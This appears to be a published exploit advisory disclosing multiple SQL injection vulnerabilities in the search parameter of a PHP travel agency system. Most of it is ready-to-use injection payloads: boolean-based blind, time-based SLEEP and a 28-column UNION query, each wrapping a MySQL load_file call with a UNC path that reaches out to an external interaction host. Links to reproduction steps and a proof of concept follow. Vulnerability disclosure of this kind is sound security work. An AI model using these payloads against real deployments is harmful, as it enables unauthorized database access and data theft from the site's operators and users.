Php travel agency system 1.0 by oretnom23 Multiple SQL injection Vulnerabilities

## Title: travel-1.0-by-oretnom23 Multiple-SQLi
## Author: nu11secur1ty
## Vendor: https://github.com/oretnom23
## Software: https://github.com/oretnom23/php-travel-agency-system
## Reference: https://portswigger.net/web-security/sql-injection


## Description:
The search parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\fn6kppbx0o26diasg3tbss1980et2k68xbl38twi.github.com/oretnom23/php-travel-agency-system\\yhj'))+' was submitted in the search parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed.


STATUS: HIGH-CRITICAL Vulnerability

[+]Payload:
```MySQL
---
Parameter: search (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: search=951531'+(select load_file('\\\\fn6kppbx0o26diasg3tbss1980et2k68xbl38twi.github.com/oretnom23/php-travel-agency-system\\yhj'))+'' RLIKE (SELECT (CASE WHEN (2997=2997) THEN 0x393531353331+(select load_file(0x5c5c5c5c666e366b70706278306f323664696173673374627373313938306574326b363878626c33387477692e6f6173746966792e636f6d5c5c79686a))+'' ELSE 0x28 END)) AND 'RIBa'='RIBa&searc=&sumbit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
    Payload: search=951531'+(select load_file('\\\\fn6kppbx0o26diasg3tbss1980et2k68xbl38twi.github.com/oretnom23/php-travel-agency-system\\yhj'))+'' OR (SELECT 5424 FROM (SELECT(SLEEP(15)))vzOn) AND 'fGlq'='fGlq&searc=&sumbit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 28 columns
    Payload: search=951531'+(select load_file('\\\\fn6kppbx0o26diasg3tbss1980et2k68xbl38twi.github.com/oretnom23/php-travel-agency-system\\yhj'))+'' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a767071,0x6c425375664275724e58584e686366544b776557504941584e71765144757876744972504e4f554d,0x7162767071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&searc=&sumbit=Submit
---
```


## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2021/travel-1.0-by-oretnom23)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/11/travel-10-by-oretnom23-multiple-sqli.html)

## Time spent:
00:17:00